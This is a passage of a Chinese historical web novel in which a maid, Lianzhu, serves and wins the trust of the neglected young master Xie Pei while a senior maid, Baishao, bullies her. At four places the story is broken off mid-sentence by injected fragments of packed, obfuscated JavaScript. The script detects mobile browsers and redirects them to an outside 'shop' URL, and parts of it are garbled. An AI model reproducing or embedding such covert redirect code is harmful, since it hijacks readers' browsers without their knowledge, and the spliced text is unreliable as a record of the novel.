靳九见人恼了，也不辩，站在一边就听连珠道：“三少爷体恤，平日里不叫我们干活，闲得无聊我才做些针线，不会坏了差事。” 靳九听了女儿解释，心道，奇了。这才进府不足一月，就叫泼猴转了性。从前无聊也是顽皮，哪里会想到去做什么女红。 不过这变化也是好事，靳九的胡子又抖了抖，欣慰道：“主子宽厚是你的福气，你做事勤勉才好叫人赏识。” 之后，父母两人又各自交待几句，才叫连珠带了东西回府。 却说连珠回到角门，遥遥看见西街口停了一溜车马，有小厮随扈来回上下，不知是何情况。 角门口的婆子也伸长了脖子看，只摆摆手，连她带进府的包裹都没细查。府里遇上的丫鬟仆从也都步履匆匆，似是出了什么大事。 倒不用连珠探听，走到清月阁门口，就见白芍在院里说得眉飞色舞。 “是京里的二夫人带着二少爷回来了，好叫你们知道二夫人可是永宁侯府出身！二少爷去年还中了举，才十四岁的年纪，满京城能找出几个来？” 连珠在门外听着，心中好笑，白芍惯来捧着大少爷，可现下又夸二少爷十四中举，倒叫年长两岁次次落第的大少爷如何自处。 青芝听得入迷：“二少爷真这么厉害？” “那是自然。”白芍似是与有荣焉，得意道，“你没见过二少爷，不知他气宇轩昂。” 她说着，看见连珠进了院子，叫住她问：“诶，你从外头回来，可见着二夫人、二少爷？” 连珠停步摇头：“只见了府门口有好多车马。” “那是，你是下等的丫头，哪里能瞧见千尊玉贵的主子。”白芍嫉恨连珠貌美，又恼她寻常做事挑不出错，滑不溜手不好管教，只能时不时地讥讽敲打。 廊下兰儿原本也听白芍说得出神，忽听她嘴里又没半句好话，气得抓了连珠的手就要往屋里走。 谁都没注意门檐阴影下的人影。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092438|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 连珠转身时，余光扫过，赶紧卸下包袱福身行礼：“三少爷。” 院子里众丫鬟皆是一顿，接连行礼。白芍更是惶恐，不知他站了多久，自己方才的话又被听了多少去。 幸好三少爷并没怪责。 只是摆饭的时候，兰儿畏惧谢培进院时的面色，叫声好姐姐将差事推给了连珠。 因着天气冷了，大厨房上了锅子，连珠摆好碗碟就见谢培换了衣裳出来。 谢培不爱火腿，看了看菜色，见旁边站着的是连珠，仍旧皱着眉问：“怎么没有汤？” 连珠看那咕嘟咕嘟冒泡的火腿老鸭汤，半晌才反应过来他说的是自己前些时候另炖得那些滋补汤水。药材都是小厨房里之前剩的，只费些柴火和力气。本以为谢培大愈之后不爱喝那些，谁知他今日问起。 既然三少爷喜欢，连珠便道：“秋燥伤人，生甘草润肺，麦冬清心热。三少爷，明日喝这个可好？” 谢培看过几页医书，知道麦冬能除烦安神。 她是看出自己心思烦乱？还是巧合... 谢培摆摆手，低头不语。他用膳并不必人在旁布菜，更不必人守在身边。 连珠正要退出去，却看见房中龙首勾云纹的衣架上有谢培刚换下来的衣裳。 她顺手拿了就要去洗，却听谢培忽道：“那衣裳脏了，不必清洗，直接扔了吧。” 天青色织竹叶暗花的直缀是今早才从樟木箱里翻出来的，尺寸正好，款式也新，怎么脏了就不要了。 等出了房门拿到灯下看，才见胸前、衣摆染了一大片墨渍，袖口的滚边也破了一条。 方才谢培脸色一直不好，瞧见她们几个在院里，原也不肯进来，想来也是怕她们看见。 连珠想，三少爷在府中就被人轻慢，家塾之中难免有那谄上欺下、助纣为虐的，他怕是被人叼难，遭了罪。 十岁少年自有傲气，难怪气盛之下叫把衣裳扔了。 次日大早，谢培从书房新拿了个包文笔纸墨的书袋。昨日那个在家塾被扔到了池里，又叫人踩了好几脚，已经是不能用了。 他又拿了新的纸墨，却见桌案上不知什么时候多出个素面的笔袋。 那笔袋用得寻常细布，并非是库里的料子。 谢培一愣，心里想到什么，转身推开北向的窗户，就见院墙下竹竿上，自己叫丢了的衣裳洗得洁净挂在那儿。 木盆里的衣裳才投了一遍水，连珠正要起身，就听见身后忽有人冷声道：“不是叫你扔了？” 连珠回身就见比她还矮上半个头的少年人下巴倔强，神情倨傲。 她看了眼孤飘在竹竿上的那抹青，福了福身子道：“是连珠自作主张，想着这衣裳都是姨娘在时做的，料子难得，花样又好，扔了可惜。” 原本谢培心里攥着一股怒气，骤听她提起姨娘，胸口一松，已是卸下劲来。 他心口一阵淤堵，继而又见对面那唇红齿白的丫头微微一笑。 “其实身上墨渍看着难洗，只要用对了法子，两次就能褪尽。竹有节而不折，做衣如做人，这绣纹意头好，三少爷还是留着吧。” 5. 不患寡而患不均 谢培来前给了二门外的小厮几个钱，查了连珠的来历。知她一进府就到了清月阁，并非是暮香堂的人，心中不知缘何大定，松了一口气。 姨娘身故，她身边的下人打的打杀的杀，就是自己院里的人也尽数被遣出府。 他已是无人可用，无人可信。 自己年岁不高，但观人于微。清月阁的四个丫鬟各有性格，白芍志骄器小，青芝心机深沉，兰儿草率鲁莽，只那个叫连珠的深藏若虚、不露锋芒。 日头东升，悬在蓝皮书卷上的笔尖微滞，墨点滴下，谢培的目光从那素面笔袋转回纸上。方才那滴墨正好落在其中一句“左右助之如耳目之聪明，股肱之力用”旁。 这日下学归家，他身上仍旧添了狼狈，墨块断折，腰间的玉坠被砸了个缺儿。 来挑衅惹事的两个同窗乃大哥谢坤舅家亲眷，两人平日便横行霸道，族人不敢触逆。如今他们随意寻了借口欺辱谢培，自是无人帮忙出头。 昨日谢培还愤懑不平，今日倒是心静如水。 他抬头望月，忽地忆起晨起连珠的话，只觉得这家塾里的龌龊，原不值得放在心上。待他蟾宫折桂，这起子人事不过烂泥，就是踩在脚下都嫌脏。 如此，进了清月阁，他瞧见饭桌上的生甘草麦冬汤，神色亦是柔和几分。 饭毕，兰儿端了茶来：“三少爷，请吃茶。” 谢培未料来的是兰儿，从前唤她来奉茶端水，并未觉得有什么，但这会儿心中却生出些不满。 “去叫连珠来。” “啊？”兰儿反应未及，抬头正对上谢培瞥来的目光，赶紧连连点头道，“是，我这就去。” 白瓷莲瓣烛灯下，幽幽火光映得连珠粉腮如玉。 她容色艳丽，谢培其实不喜，只是非常时期，他只得按下心绪不表，开口问道：“你可通文墨？” 连珠的眼睫下眸光微动，兰儿说三少爷找她本就让人意外，现下问她这个... 跟着太妃的时候，为打发辰光，刺绣簪花、下棋绘画，倒是什么都陪着做一些。太妃不爱佛经，偏爱些杂记史学，偶尔兴起也会拉着连珠说上一二。 后来谦哥儿开蒙，自己陪着描红临帖。 她其实是识字的。 但... “回三少爷，连珠愚钝，并不识字。” 连珠虽怜惜年幼丧母的谢培，却不想将自己裹进这谢家大院的明争暗斗里。 陆沈于俗，避世金马门。自己还是不要牵扯太深的好。 她本以为说了不识字，谢培必会遣自己退下。 谁知他声音难得轻快，似是满意：“会不会的，也不打紧。你日后在书房侍候，分得清笔墨纸砚就行了。” 在...书房...侍候？ 谢培不管连珠愣在原地，背手往书房走去：“跟我过来。” 书房不大，靠墙三面是顶天的书柜，当中一张紫檀木嵌珐琅翘头案上边砚盒、笔山、水盂依次排列，辅以香炉花瓶，称得上是案头雅韵。 连珠见惯谢府豪奢也不讶然，反而心中嘀咕，莫不是因着她做主留了那件衣裳，叫三少爷起了心思要抬举自己？ 谢培却不管她心中是何想法，指尖掠过挂着的一排毛笔开口道：“每日塾中都留有功课，你要在摆饭之前将笔润好。我寻常都写小字，切记别拿错了。” 他说着，眼尾瞥见连珠目露茫然，这才想到她不通文墨自然是不懂什么字用什么笔。 他又看她站在桌案一头，恨不能离自己一丈远，冲她招手：“你来。” 谢培从笔挂上取下一支雕漆狼毫，细细解释：“这支关东辽尾笔锋短粗挺拔，最适合写小字。” 他手指瘦削修长，黑檀笔杆捏在指间：“还有这支紫毫是七紫三羊，笔性也算坚韧，写劲直方正的字最好。” 连珠一一记下，听他说完笔又指着砚台边一锭方墨：“墨也要提前磨好，若是用完了就从屉里拿。柜子里那些松烟徽墨不必拿出来，是留着送人的。” 谢培还待再说练字作画的纸，回身却见连珠垂目低头，似乎方才说的那些就叫她难以消化。 “行了，你能记住这些已经不错。”他少年老成一摆手叫连珠退了下去，心中却十分满意，不识字好啊。 第二日谢培从家塾回来，用完饭果然叫连珠在旁伺候。 润笔磨墨、裁纸添茶，谢培本以为那丫头头一遭做这些，虽不至于忙中出错，少不得也要应接不暇。 谁知，她侍立一旁，不必自己提点半个字。毛笔湿润均匀，墨汁浓淡相宜；笔刚搁下，新裁的纸就递了上来；茶汤将近，又续上八分热的。 几日下来，谢培愈发觉得自己眼光独到，这般左膀右臂，真就叫他省心不少。 如此他唤连珠做事的次数越来越多，兰儿和青芝倒不放在心上，只有白芍颇有微词，私下对着青芝不满道：“事事都叫连珠，没得叫外人知道了，以为我们三个捆在一块儿都比不上她。” 这股子不满，在谢培叫连珠去问她要了库房账册之后，达到了顶点。 白芍拿了账册，嘴角噙着丝冷笑：“我还真是小瞧了你，不知道这清月阁竟养出了个窦怀贞。” 她说着，手腕一扬，账本重重地砸在连珠怀里。 白芍见她吃痛皱眉，面色不改地理了理鬓角：“你可得拿稳了，当心登高跌重摔死了。” 青芝窝在桌角，连瓜子也不嗑了，看看白芍又看看连珠，只觉得一个旧贵，一个新宠，还是都别得罪了。 这阵子白芍见她总鼻子不是鼻子，脸不是脸的，连珠自然清楚她是见三少爷重用自己，有了危机感。白芍不敢怪责谢培，气当然都撒在自己身上。 她对着白芍惯来是能忍则忍，但这次那书脊砸得她肋骨生疼，她便不想忍了。 “来取这账册，是三少爷亲口吩咐。我只是个传话办事的，白芍姐姐若觉得这差遣有何不妥，我便去回了三少爷，如何？” 连珠一直逆来顺受，头一回直言顶撞，叫白芍气得掐腰指着她半晌说不出话来。 “主子的话，下人莫敢不从。白芍姐姐是从大夫人院里出来的，这个道理，定然比我明白。” 说罢，连珠竟不理白芍作何反应，拿着账册跨过门槛直接出了门去。 她这账册拿的时间太长，一进屋就听谢培问：“怎么这么久？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092439|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 连珠余光飞快瞥了眼提笔习字的谢培。 自己虽怜他失母，但这些日子被他委以重任，长久下去难保不成了众矢之的。她不过是个小丫鬟，有未完的事要做，还不想早早折在深宅内院的倾轧里。 既然三少爷聪慧懂事，自己还是把话说明得好。 “三少爷，账册取来了。”她将账册双手呈上，却不像之前那般一语不发，而是直言道，“我去拿账册的时候，白芍姐姐似乎有些不悦。” “哦？” “三少爷明鉴，近日笔墨、茶水、衣饰乃至账目，皆由我一人经手。连珠蒙少爷信赖，可清月阁事事自有定例，长此以往，恐生芥蒂。” “是么？我从前也不唤她们做事。”谢培翻着账册，随口一句，似是并不将连珠的话放在心上。 “不患寡而患不均，从前没有对比，自然不会不满。” 谢培闻言，顿了半刻，忽然“啪”地一下合上账册，抬眸盯住连珠：“不患寡而患不均...我记得你说过你不识字。” 他眸光如电，凝视着连珠像是要将她看个透彻。 那眼神叫连珠脊背一凉，赶紧收敛心神解释道：“奴婢是不识字，这话也是听我爹说的。” “他在酒楼做事，说起伙计食饭，若是大家都吃得馒头咸菜，自是无人不满。但若有人单独吃了好的，哪怕是点油渣子，那也定是要闹的。人性使然，奴婢想着清月阁也是一样的。” 她不疾不徐，说得丁点儿不慌，叫谢培方生出的那点疑心又压了回去。 白芍一家子都是暮香堂的人，谢培见过母亲枉死，是万不敢用她。 不过听了连珠的话，他也忖量道，下人之间起了龃龉没什么，自己太过偏重旁人，叫暮香堂生疑才是要紧。 是他思虑不周了。 谢培翻着账册的手一停：“行了，你去叫白芍，说我有事托她去办。” 白芍得了谢培的令，将库房里一株百年野山参拿了出来。本以为自己要跟着三少爷出门办事，岂知他仍点了连珠的将。 “连珠，你拿着参跟我去一趟云心阁。” 云心阁是二房居所，如今是从京里回来的二夫人住着。 这二夫人秦如月去年秋身上就不好，夜不能寐、日不思食，京城里的大夫看了遍，也瞧不出个病源。一年光景，人瘦了十几斤不说，头发也白了一半。 这回返家，是秦如月独子谢府的二少爷谢垚听说，延洲有一先生医道高明，偏要她回来再看看。 前几日秦如月缠绵病榻，闭不见人。今日方好了些，谢培得了信，便携了连珠带着野参往云心阁去探望。 白芍斜倚着房门，看向门口人影暗了，扭着帕子恨恨地砸了一下门框。 青芝不知什么时候从房里摸了出来：“白芍姐姐，三少爷这是去哪儿了？” “你问这么多做什么！”白芍心情不好，对着青芝也没个好脸。 青芝心里骂她两句，面上却不恼，笑着说：“我不是见连珠抱着好大一个红绸盒子，好奇么。” 白芍似笑非笑地看了青芝一眼，阴阳怪气道：“你既好奇，问她去！我倒要看看她能得意几时！” 6. 貌若潘安 二房久居京城，并不回延州长住，院内只留了两三个下人洒扫看门。 这回秦如月回得匆忙，身边带得人不多，可连珠一进云心阁就见院里秩序森然、鸦雀无声。下人各司其职，全不像其他房院仆妇们惫懒模样。 正房绣团寿纹红缎门帘半掀，一双眼下耷的嬷嬷瞧见来人，虚行了一礼，便将人请了进去。 “三少爷请稍等，奴婢去通传一声。” 黄缎软帘用白玉帘钩挂着，那嬷嬷只拨开珠帘往里屋走。 帘影轻动，连珠眼眸微抬，隐约瞧见屋里拔步床上一妇人歪身半靠，天水碧的绫衫松松搭着肩头，面色苍白。 床沿边坐着个少年，正端着孔雀绿釉碗小心喂药。那少年侧影清癯，手指稳托碗底，另一手持汤匙轻轻搅动。待匙中药温稍凉，才缓缓递到妇人唇边，格外小心。 百福嬷嬷轻步走到床边，刚要开口，就被谢垚一个眼神止住。 她立刻噤声，等碗中的药见了底，谢垚又拈了蜜饯递到妇人口边，才好出声：“夫人，三少爷来了。” 秦如月轻咳两声，缓缓道：“快，叫他进来。” “娘若是身子不适，不如我同三弟说一声，改日...” “哪有人来了往外赶的道理，去吧，叫他来。” 谢培少见这位婶娘，走近才见她同自己记忆中的模样已是大不相同。 他拱手行了大礼，语带关切：“前几日婶娘舟车劳顿刚刚抵府，培儿不敢叨扰，今日才敢前来请安问好。” 他说着，朝着连珠略一偏头，那红绸盒子很快呈了上来。 百年的野山参对于秦如月而言并不名贵，可她知谢培失了母亲，如今孤苦，还能这般手笔，实在是有心了。 “你有心能来就好，东西便不用了。” “听说婶娘需山参入药，这根参参须完整，芦碗密实，还算上品。至亲之间情意为重，培儿身无长物，唯有一点孝心还堪奉上。若婶娘执意不收，倒叫培儿...不知该如何是好了。” 谢培这个十来岁少年脸庞尚且稚嫩，一番话倒说得有情有理。秦如月不好再拒，摆手让身边的泉黛收了起来。 旋即，又伸手一指：“你们兄弟常年不见，趁着回来可以多走动走动。垚儿长你几岁，若有什么疑难的，尽管来找他。” 连珠也顺势偷偷去瞧，床边少年两道修眉斜飞入鬓，眸光沉静如水，已然有了几分成年男子的俊逸模样。 他似是不喜谢培打扰，生怕秦如月劳神。 连珠心道，这谢府的孩儿倒是至孝典范，谢培如此，这位二少爷也是如此。 她思绪迁远，忘了要收敛目光。 正出神间，忽觉一道目光落在面上。倏然抬眸，恰和谢垚清冽的眼神撞上，惊得连珠赶紧低下头去。 屋里的人又闲叙几句，谢培不多打扰，起身告辞。 人刚走，秦如月又忍不住咳嗽两声，谢垚伸手抚上她的后背，口中不悦道：“娘何苦费心说这么多的话。” “说几句话，不妨事。”秦如月就着谢垚端来的茶喝了两口，又道，“上一辈的事不必牵连他，我瞧他在府中也艰难，你能帮便帮帮他。” 这一长串话说下来，秦如月已是气息不足，谢垚赶紧扶她躺下。略过她方才说得话，只是道：“娘早些休息，不必再操心别的事情。” 谢垚将寿桃仙鹤纹浅黄绢丝衾的四角拢好，又熄了两支蜡烛，放下帘子。等秦如月呼吸绵长之后，才静静出得门去。 过后几天，谢培再去家塾，那等欺辱压迫之事竟悄然偃息了。 二婶秦如月为人良善，他料想该是那株山参起了功效。 读书再无人打扰，连窗外鸟雀啁啾都悦耳动听几分。 恰逢五日休沐，又是晴好的天气，谢培拉了连珠将柜里箱里的书翻出晾晒。 清月阁的藏书不少，四书五经、正史通鉴自不必多说，诸子百家、文选诗集也不在少数，另有天文历算、农工医卜塞了满满一大箱子。 连珠刚在院里铺上竹席，白芍、青芝、兰儿就捧了书来。 谢培晒书多有讲究，不光要逐册检查，还得用软毛刷掸去灰尘。 谢培拾起一本书，在连珠跟前翻开：“拂灰之后，书册要摊开竖放，你手巧，这个难不倒你。” “你手巧，难不倒...呸...”白芍重重的放下一叠书，偏头小声蛐蛐。 她才是大夫人院里出来的正经丫头，这连珠才进府多久，算个什么东西。 也就是三少爷这样没见识的小子，才会错把鱼目当珍珠！ 她兀自生气，偏三少爷好似觉得她气得不够，又道：“你们把书放下就行了。” 白芍回房，胸中仍闷着一股怨气。她走到窗前，看着院子里那株大槐树荫下言笑晏晏的两人，捏紧拳头捶了窗框。 “哎哟！” 这一锤下去，气没撒掉，反倒把自己弄得生疼。 青芝龟缩一边，不敢惹她，等了片刻就见她甩了门往外头去了。 之后一段时间，白芍心情不豫，清月阁的三个小丫头都躲着她。青芝和兰儿得偿所愿，只要不在白芍跟前晃悠，就不会被她寻到机会教训。 只连珠不一样。 白芍似有意同她作对，趁着谢培不在，事事唤她去做不算，还差遣她去松风苑帮忙翻地种花。两日下来，累得连珠胳膊都抬不起来。 兰儿倒了药酒直接揉上她的肩膀：“她分明故意针对你，真不让三少爷知道？” “她让我做得事桩桩件件硬说起来，也挑不出什么错。我去找三少爷说什么，没得让他操心。” 兰儿也是替她气愤，并没有什么好办法，只好下手更重了些，好将那胳膊上的淤血揉散。 “对了，你去松风苑可见着大少爷了？” 连珠摇头：“后院翻得乱七八糟，大少爷哪里会踏足。” “哎，老听松风苑的玉露、银针说大少爷貌若潘安，也不知真的假的。” 貌若潘安？ 连珠忽地忆起那晚在云心阁见到的人，穿一身缥碧色直缀，外罩金银丝云水纹青缎褂，那华冠丽服本就耀眼，可那张脸更是光华夺目，若说他是貌比潘安，实不为过。 “连珠？”兰儿见她发呆，推了一把她的胳膊。 “哦，我是想快要冬至，带进府的厚衣裳不多，还得回家一趟。” 兰儿不似连珠家就在谢府左近，她是延洲郊县霞水村人，要想家去来回得耗上两日。 “我是不打算回去了，青芝说冬日府里是给做袄的，我箱子里还有件短夹袄，应该能混过这个冬天。”兰儿提起这个又喜道，“其实进府也还不错，不光有吃有喝有衣裳，一个月还能拿一百文钱。白芍她是一等丫鬟，一个月有八百文呢！” 兰儿收起药油，又道：“咱们若是能升个三等，月例也能翻一倍。也就是咱们清月阁人少，松风苑一等丫鬟两个，就是二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092440|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等丫鬟也有四个呢！” 她平日最喜闲聊打探，这些小事自是知道得一清二楚。 “不是说在府里干满两年就能升三等？” “虽说是这样，但有些丫鬟得主子看中，不满两年就升也是有的。不过咱们...” 兰儿虽然鲁莽，倒也不至于口无遮拦。 她其实想说，她们的主子是三少爷谢培，在府里既不得宠，也说不上话，要想提前晋升怕是不能了。 连珠倒没那么在乎这个，前段时间从家里带来的针线料子，她趁着空闲给自己和兰儿各做了套里衣不算，还绣了两个荷包。拿出去卖了，也能值两个钱。 她刚套上衣袖，就听门外白芍喊她。 “连珠！” 兰儿比连珠还气，恼道：“你才刚回来，她又叫你作甚！” 到底被白芍一等丫鬟的身份压着，兰儿也只敢背后嘀咕两句。 白芍见连珠出来，脸上透着些得意。这几日，只要三少爷不在，她就特意找了脏活累活给连珠做，就是库房后头积年的青苔也叫她来清理。 这些活吩咐下去，也不算逾矩，连珠只能受着。 “松风苑的活干完了？怎么回来了？” “松风苑后院的花已经栽上了，金茗姐姐说那些花草名贵，我不懂料理，便让我回来了。” “那你就歇着了？”白芍斜睨她一眼，“小厨房里有些腌菜缸子，许久不用也得拿出来晒晒，你年轻力气足，想必是不费事的。” 她说完，目光由上至下将连珠扫了一通，见她不敢反驳，心里更加畅快。 该！叫你在三少爷跟前出风头！ 小厨房犄角旮旯里的腌菜缸不知是什么时候留下的，光是重不说，原本洗得也不算干净，有两个缸里还发了霉。 连珠打水烧热，烫洗干净，日头早都下落了，连珠只得将这些缸子搬到廊下阴干。 她搬得气喘吁吁，等搬最后一个时，双手已经是隐隐发颤。她咬了牙，准备再使一把劲，却觉手下一松。 抬眼就见谢培不知何时立在身侧，已是稳稳托住缸子的另一头。 “三少爷...”两人靠得颇近，连珠几乎能闻到他身上的油墨气味。这般距离让她有些不适，只是搬着缸子也不敢撤手，盼着到廊下的两步路能快一些，再快一些。 缸子落地，与先前那些排成齐整一列。谢培才半握手掌，指尖蹭到压在掌心的红痕，不悦道：“怎么让你一个人做这样的重活，其他人呢？” “青芝去绣房送东西，兰儿去大厨房拿菜，还有...” 话没说完，东卧房的门一开，白芍一阵风似的跑出来，脸上带了些讨好：“三少爷今儿这么早回来。房中闹耗子，我正找窝呢！” 旋即她故作惊讶地看了眼洗好的菜缸，拉了连珠的手，使劲捏了她的指腹，嗔怪道：“不是让妹妹有事唤我，怎么一个人做把活儿都干了。” 她情假戏真，连珠被她捏得手指泛红，眼眸微抬就瞧见谢培认真地看着自己，似是在等她的答复。 她既不想告状惹了白芍生气，又不想替她圆谎，只是略带尴尬地笑笑。 谢培定定地看了她一眼，也不再追问，而是道：“以后这样重的东西，不要一个人搬。若是砸了倒是小事，伤了人让外头知道，还只道我苛待下人。” 话毕回屋，白芍把这件事糊弄过去自然是松了一口气。可连珠却总觉得谢培话里有话，这事儿没完。 7. 缠枝葫芦纹花罗 灯下，连珠半卷衣袖拈了一锭紫光徽墨。 之前见人写“青丝垂落砚台侧”“黛眉低处墨香起”，他不懂只是调个墨而已，哪能写出这么多酸文腐字。 可这会儿见灯挑美人面，确如画中仙。 姨娘在世时替他挑下人的时候说，院里的丫鬟容貌太盛易惹祸事，故而择得都是相貌端庄、敦厚寻常的女子。 可连珠好像不一样。 不诉苦，不生事，不邀功。 即便得了自己的抬举，仍旧是垂首做事，不张扬分毫。 谢培本以为自己如此年纪已足够隐忍，可比起她来，好像如霄汉之分野。 她一年纪轻轻的小丫头，怎么就能不显山露水到这般地步。 谢培目光灼灼，叫连珠实在不能忽视，她手中的墨一顿，偏头去看：“三少爷可是要什么？” 谢培不答，反而看向她问：“白芍这几日欺你，你为何不说？” 连珠一愣，不知他哪来的言之凿凿。 谢培似是看透她心中所想，淡淡道：“哪有找耗子窝，不染纤尘的，分明在我跟前找的借口。” 他顿了顿，又小声道：“再来，你不愿意说，自有人肯说。” 连珠噎住，只好道：“白芍管事自有章法，我做些琐事原也应当。再说，三少爷您课业正重，何苦为这些事分神呢？” 谢培没料到她是顾及这个，心宽道：“你不是觉得我不能为你做主？” 连珠也不曾想他会有此疑虑，展颜一笑：“三少爷是主子，为我做主有什么不能的？” 她唇角轻扬，颊边梨涡乍现，叫谢培看得一时晃了神。 而后，要说什么也浑忘了，只是低头默默写字。 将话说开了也好，连珠心中不必担事，日日忙完之后还能挤出时间来打络子。 又是几日雨，眨眼便凉了下来。 房中，兰儿才说绣房不知何时能将袄子送来，就听院门响了几声。 连珠撑了伞去开门，谁知那门口站得是个面生的方脸小厮。 他一见连珠，脸先红了一半，支支吾吾开口道：“姐姐好，庆宁嬷嬷让我来说一声，白芍姑娘方才在园子后头的石子路上摔了一跤，那石子路雨后生了青苔...” 连珠赶紧问：“人可伤着了？” 那小厮连连点头：“当时就站不起来了，差人挪了在暮香堂请大夫来看，说是伤了尾巴骨，要养上几个月。” 连珠闻言默然，从腰间摸出两个钱：“劳你跑这趟腿，等三少爷回来我便告诉他。” 院门半合，她转身撑伞踏进雨里，却叫那小厮一句话落在嘴边。 “我叫冬生...” 兰儿等在屋里，见连珠回来，便问：“这么大的雨，是谁？” “暮香堂的，说是白芍摔了。” “摔了！”兰儿脸上难掩喜色，一双眸子炯炯有神，“怎么摔的？在哪摔的？摔成什么样了？” “摔了？在哪摔的？” 谢培下学归来，将擦了脸的帕巾递给连珠，开口就问。 “是在园子后头的石子路上。” 谢培闻言，瞧了连珠一眼。 这一眼，叫连珠忽地打了个寒颤。 “从账上取十两银子，叫她家去好生休养，等痊愈了再来吧。”他说着说着语气反倒轻快起来，还冲着连珠眨了眨眼，仿佛是说这下可没人欺你了。 连珠应声，从库里拿了十两银子，正巧撞见兰儿来送茶。 兰儿一扫那白花花的钱，噘嘴道：“三少爷好性儿，她跑出去偷懒，能在家休息不算，还得了这么多钱！” 连珠牵扯嘴角，只说自己还要去暮香堂送银子，匆匆去了。 更深露重，连珠缩了缩脖子，想得却是方才的事。 谢培张口就问白芍在哪摔的，怕是早就对她起了疑心。 白芍是在园子后的石子路上摔的，那正是去暮香堂的必经之路。她白日不在清月阁待着，反倒来往暮香堂，不怪谢培疑她私下往大夫人那边传话。 自己原先只觉得他性子果毅，现在看来他也着实冷静。 连珠在宫中见得少听得却多，似他这般心性、这般谋算，往往才能成事。 她心中无鬼，自然不怕主子有此心思，只是暗暗觉得不必像之前那样替他忧心。 到了暮香堂，才知白芍没等三少爷吩咐就抬家去了。 来金家的命人拿了一匹丁香色缠枝葫芦纹花罗交给连珠，说是今日大夫人本是叫白芍来拿这匹布给三少爷制衣。谁知，一个不小心摔了，这会儿刚好叫她拿回去。 连珠连连称谢，又将钱给了白芍她娘，念了几句三少爷关怀，才趁着夜色又往回走。 路上，她捧着罗布，一摸就知那是苏地吴罗，贯来以轻软凉爽著称，眼下都快十二月了，哪里用得上这样的料子。 连珠想，这暮香堂的做事算不得聪明。 等回了清月阁，她如实将来金家的话报给谢培，果见他神色一冷，摆手让她将这匹料子收进库里。 白芍一走，连珠确如谢培所想的不必再被人呼来喝去。 青芝只顾做完手头上的事，就关在房里躲懒。兰儿同连珠各自分工，事情倒是做得样样顺利。 眨眼入冬，府里做的袄子发了下来。 石青色两道镶边的琵琶袖夹袄，连珠穿上正好。 兰儿套了袄子，左右看了看：“小了。” “可不是小了，这阵子你胃口好，每每都要添饭，这脸都圆了一圈。”连珠走过来替她扯了扯衣摆，捂嘴笑道。 兰儿也叹气：“胃口能不好嘛！那个搅事精走了，我睡得香吃得下！就是这衣裳小了，可惜，我今儿中午只吃半碗吧。” 连珠被她逗得一乐：“瞧把你委屈的。这衣裳还不脱下来？” “不脱，新衣裳当然要穿上了。” 虽说是有些紧，但吸一吸肚子还是能穿的，兰儿瞧连珠将衣裳脱下，问道：“你怎么脱了？难不成还要留到过年？” 连珠摇头：“一会儿想将窗缝糊起来，那浆糊粘手，没得将衣裳弄脏了。” “那我帮你！”兰儿说着也把袄脱了。 府里各院每个月都有炭例，平日里用是足够的，但这天冷下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092441|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，若是成日地烧，定是有缺。 既是有缺，就要添钱另买，三四个月下来，开销不在小数。 虽说柳姨娘给谢培留了不少资产，可那能生钱的也只有城郊的一个庄子，每年进项不多，光是买纸买墨都不够。 谢培如今无人贴补，自然是能省就省。 连珠熬了一盅浆糊，又特意剪了跟窗户同色的朱红布条。布条沾了浆糊塞紧门窗的缝隙，便能防止贼风灌入。 连珠和兰儿，一人抹浆糊，一人贴布条，半个时辰就将正堂的门窗塞了大半。 这一来，屋里果然少了风，暖和不少。 兰儿喜道：“这法子好，一会儿有剩的，给咱们屋也弄上。不然，半夜总觉得有凉风往我被窝里钻。” 两人干得起劲，不知谢培回来瞧见她们低着脑袋，突然出声：“做什么呢？” “三少爷。” 两人吓了一跳，手里还拿着浆糊便起身行礼。 连珠看着天色还早，奇怪道：“三少爷怎么这个时候回来了？” 谢培卸了披风丢给兰儿：“这天气怕要落雪，夫子便让提前回了。你还没说，你们在做什么呢？” “没什么，就是把窗缝堵了，怕冬日漏风。”连珠说着将东西收拾了，又往屋里去给他倒了热水净手，“三少爷，可饿了？” 